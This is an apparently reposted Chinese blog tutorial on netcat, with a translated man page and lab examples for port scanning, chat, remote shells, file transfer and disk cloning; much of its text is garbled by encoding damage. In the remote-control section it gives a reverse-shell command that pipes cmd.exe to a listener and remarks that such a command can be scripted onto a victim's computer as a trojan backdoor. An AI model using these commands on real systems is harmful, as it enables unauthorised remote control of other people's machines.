网络工具中的瑞士军刀——netcat工具简介
今天給大家?guī)?lái)netcat這款工具的簡(jiǎn)單介紹。netcat有著“網(wǎng)絡(luò)工具中的瑞士軍刀”的綽號(hào)。它體積小巧,功能卻又十分強(qiáng)大。下面的內(nèi)容包括,man手冊(cè)翻譯、常用參數(shù)介紹及例子。
一、man手冊(cè)翻譯
名稱(chēng)
nc - TCP/IP 瑞士軍刀
概要
nc [-選項(xiàng)] 主機(jī)名 端口 [端口]…
nc -l -p 端口 [-選項(xiàng)] [主機(jī)名] [端口]
描述
netcat是一種簡(jiǎn)單的unix實(shí)用程序,它使用TCP或UDP協(xié)議在網(wǎng)絡(luò)連接上讀取和寫(xiě)入數(shù)據(jù)。它被設(shè)計(jì)成一個(gè)可靠的“后端”工具,可以是直接或容易被其他程序和腳本所驅(qū)動(dòng)。同時(shí),它是一個(gè)功能豐富的網(wǎng)絡(luò)調(diào)試和開(kāi)發(fā)工具,因?yàn)樗鼛缀蹩梢詣?chuàng)建你需要的任何類(lèi)型的連接并且有幾個(gè)有趣的內(nèi)置功能。Netcat,或稱(chēng)為“nc”,作為實(shí)際程序的名稱(chēng),應(yīng)該是很久以前提供的,這是一種模糊定義但標(biāo)準(zhǔn)的Unix工具。
在最簡(jiǎn)單的用法中,“nc 主機(jī) 端口”為給定的目標(biāo)主機(jī)上的給定端口創(chuàng)建TCP連接。然后,您的標(biāo)準(zhǔn)輸入被發(fā)送到主機(jī),任何通過(guò)連接返回的內(nèi)容都會(huì)發(fā)送到您的標(biāo)準(zhǔn)輸出。這種情況會(huì)一直持續(xù)下去,直到連接的網(wǎng)絡(luò)端關(guān)閉。請(qǐng)注意,此行為與大多數(shù)其他應(yīng)用程序不同,這些應(yīng)用程序在標(biāo)準(zhǔn)輸入結(jié)束后關(guān)閉所有文件并退出。
Netcat也可以作為一個(gè)服務(wù)器,通過(guò)監(jiān)聽(tīng)任意端口上的入站連接,然后進(jìn)行相同的讀取和寫(xiě)入操作。對(duì)于小范圍的限制,netcat并不真正關(guān)心它是否在“客戶(hù)端”或“服務(wù)器”模式下運(yùn)行——它仍然會(huì)來(lái)回地挖掘數(shù)據(jù)直到不再有剩余。在任何一種模式下,在網(wǎng)絡(luò)端可配置的不活動(dòng)時(shí)間之后,可以強(qiáng)制關(guān)閉。
它也可以通過(guò)UDP實(shí)現(xiàn)這一點(diǎn),因此,netcat也許是你一直想要用來(lái)測(cè)試你的UDP模式服務(wù)器的“UDP telnet-like”應(yīng)用。正如“U”所暗示的,提供的更少可靠的數(shù)據(jù)傳輸比TCP連接和一些系統(tǒng)可能在發(fā)送大量數(shù)據(jù)時(shí)遇到麻煩,但是它仍然是一個(gè)有用的能力。
您可能會(huì)問(wèn)“為什么不直接使用telnet連接任意端口?”這是一個(gè)合理的問(wèn)題,這里是其中一些原因。Telnet有“standard input EOF”問(wèn)題,所以必須在驅(qū)動(dòng)腳本中引入計(jì)算延遲,以允許網(wǎng)絡(luò)輸出完成。這是netcat在網(wǎng)絡(luò)端關(guān)閉之前一直運(yùn)行的主要原因。Telnet也不會(huì)傳輸任意二進(jìn)制數(shù)據(jù),因?yàn)槟承┳址唤忉尀閠elnet選項(xiàng),因此從數(shù)據(jù)流中刪除。Telnet也會(huì)發(fā)出一些對(duì)標(biāo)準(zhǔn)輸出的診斷消息,netcat將這些信息與它的輸出隔離開(kāi)來(lái),并且永遠(yuǎn)不會(huì)修改傳輸中的任何真實(shí)數(shù)據(jù),除非您真的想要。當(dāng)然,telnet不能監(jiān)聽(tīng)入站連接,也不能使用UDP。Netcat沒(méi)有任何這些限制,比telnet更小、更快,而且還有許多其他優(yōu)點(diǎn)。
選項(xiàng)
-c string????????在連接之后指定shell命令(謹(jǐn)慎使用)。該字符串被傳遞到/bin/sh-c執(zhí)行。如果您沒(méi)有工作/bin/sh,請(qǐng)參閱-e選項(xiàng)(請(qǐng)注意,符合posix的系統(tǒng)必須有一個(gè))。
-e filename??????在連接之后執(zhí)行指定文件(謹(jǐn)慎使用)。請(qǐng)參閱-c選項(xiàng)以增強(qiáng)功能。
-g gateway??????源路由跳點(diǎn),最多為8
-G num????????????源路由指針:4、8、12、 …
-h????顯示幫助
-i secs??????????????發(fā)送線(xiàn)路,端口掃描的延遲間隔。
-l??????????????????????監(jiān)聽(tīng)模式,對(duì)于入站連接。
-n?????????????????????只有數(shù)字的IP地址,沒(méi)有域名服務(wù)器。
-o file??????????????十六進(jìn)制轉(zhuǎn)儲(chǔ)傳輸。
-p port????????????本地端口號(hào)(端口號(hào)可以是個(gè)人的或者是范圍:低-高 [包含的])
-q seconds??????在標(biāo)準(zhǔn)輸入的EOF后,等待規(guī)定的秒數(shù)然后退出。如果秒數(shù)是負(fù)數(shù),永遠(yuǎn)等待。
-b????????????????????允許UDP廣播
-r?????????????????????隨機(jī)化本地和遠(yuǎn)程端口
-s addr????????????當(dāng)前的源地址
-t?????????????????????使telnet順利通過(guò)
-u????????????????????UDP模式
-v????????????????????冗長(zhǎng)(使用兩次可以更冗長(zhǎng))。ps.即顯示詳細(xì)信息
-w secs????????????連接和最終網(wǎng)絡(luò)讀取的超時(shí)
-C?????????????????????在行尾發(fā)送回車(chē)換行
-z??????????????????????零讀寫(xiě)模式(用于掃描)
-T type????設(shè)置TOS標(biāo)志(類(lèi)型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用參數(shù)介紹及例子
1、端口掃描
局域網(wǎng)內(nèi)有一臺(tái)主機(jī),IP地址為192.168.3.242,現(xiàn)通過(guò)nc掃描其20-30的端口。
-v是顯示詳細(xì)信息(verbose),-n是不進(jìn)行域名解析只接IP地址,-z是零讀寫(xiě),是掃描時(shí)常用的參數(shù)。
2、聊天服務(wù)器
局域網(wǎng)有兩臺(tái)主機(jī),其中一臺(tái)作為服務(wù)器IP地址是192.168.3.119,監(jiān)聽(tīng)了333端口。另一臺(tái)作為客戶(hù)端連接服務(wù)器。可以實(shí)現(xiàn)兩臺(tái)主機(jī)之間的聊天。在這里服務(wù)器和客戶(hù)端在連接后其實(shí)沒(méi)什么區(qū)別。
服務(wù)器:nc -l -p 333
客戶(hù)端:nc -n -v 192.168.3.119 333
-l是偵聽(tīng)模式,用于截獲網(wǎng)絡(luò)中經(jīng)過(guò)的流量;-p后面接本地端口。
形如這種客戶(hù)端連接服務(wù)器的連接形式我們稱(chēng)之為正向連接。相反地,服務(wù)器連接客戶(hù)端叫做反向連接,通常可以用作木馬留后門(mén)。當(dāng)然在這個(gè)例子里面體現(xiàn)不出來(lái)區(qū)別,接下來(lái)會(huì)展示遠(yuǎn)程控制中,正向連接和反向連接的區(qū)別。
3、遠(yuǎn)程控制
局域網(wǎng)內(nèi)有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作為服務(wù)器,用kali連接它。
我們先嘗試正向連接。打開(kāi)WIN10的任意端口(本例為333),把cmd.exe 重定向到333端口。
然后用kali連接該主機(jī)的333端口。
# nc -nv 192.168.3.237 333這樣客戶(hù)端就獲得了服務(wù)器的一個(gè)shell
接下來(lái),我在入站規(guī)則里面禁用了nc,再?lài)L試正向連接,看看還能不能成功?
長(zhǎng)時(shí)間沒(méi)反應(yīng),連接不上了。
一般來(lái)說(shuō),服務(wù)器為了安全考慮會(huì)通過(guò)入站規(guī)則設(shè)置禁止外部主機(jī)對(duì)其進(jìn)行連接。但是對(duì)服務(wù)器連接外部主機(jī)的限制卻比較小。下面介紹通過(guò)反向連接方式對(duì)服務(wù)器進(jìn)行遠(yuǎn)程控制。
首先,打開(kāi)客戶(hù)端的任意端口(本例定為333),開(kāi)啟偵聽(tīng)模式,捕獲通過(guò)該端口的所有流量。
# nc -v -l -p 333然后,讓服務(wù)器連接客戶(hù)端的指定端口,將cmd重定向發(fā)送過(guò)去。
nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe連接成功!
反向連接可以用作木馬留后門(mén)。把反向連接特定主機(jī)的命令寫(xiě)進(jìn)腳本,放置在對(duì)方電腦,開(kāi)機(jī)后臺(tái)運(yùn)行。
4、文件傳輸
下面通過(guò)一個(gè)簡(jiǎn)單的例子演示文件傳輸?shù)倪^(guò)程。還是上例的兩臺(tái)主機(jī),我要將WIN10里的一張圖片通過(guò)nc重定向發(fā)送到kalilinux上。這里繼續(xù)采用反向連接。
客戶(hù)端(接收方):
服務(wù)器(發(fā)送方):
nc -nv 192.168.3.119 333 < d:\滑稽.jpg這樣就完成了圖片的傳輸。如果要進(jìn)行目錄傳輸,可以先用tar工具進(jìn)行打包后發(fā)送,出于節(jié)省帶寬的考慮也可以進(jìn)一步壓縮再發(fā)送。原理相同,這里就不演示了。
5、遠(yuǎn)程硬盤(pán)克隆
服務(wù)器端使用管道命令,將磁盤(pán)文件重定向到333端口。
接收端
# nc -lp 333 | dd of=/dev/sda以上是netcat一些簡(jiǎn)單功能的介紹,這款工具還有很多有趣的功能等待我們?nèi)グl(fā)掘,例如還可以通過(guò)內(nèi)置的加密工具進(jìn)行加密傳輸,搭建一個(gè)流媒體播放器等等。最后,附上windows系統(tǒng)版本netcat及使用方法。
下載鏈接:http://pan.baidu.com/s/1c21ZJCc
使用方法:將壓縮包內(nèi)所有文件解壓到C:\windows\system32
然后就可以在命令行輸入nc命令了。
總結(jié)
以上是生活随笔為你收集整理的网络工具中的瑞士军刀——netcat工具简介的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: C语言练习题——动态数组
- 下一篇: a[1]和1[a]——浅谈数组下标运算符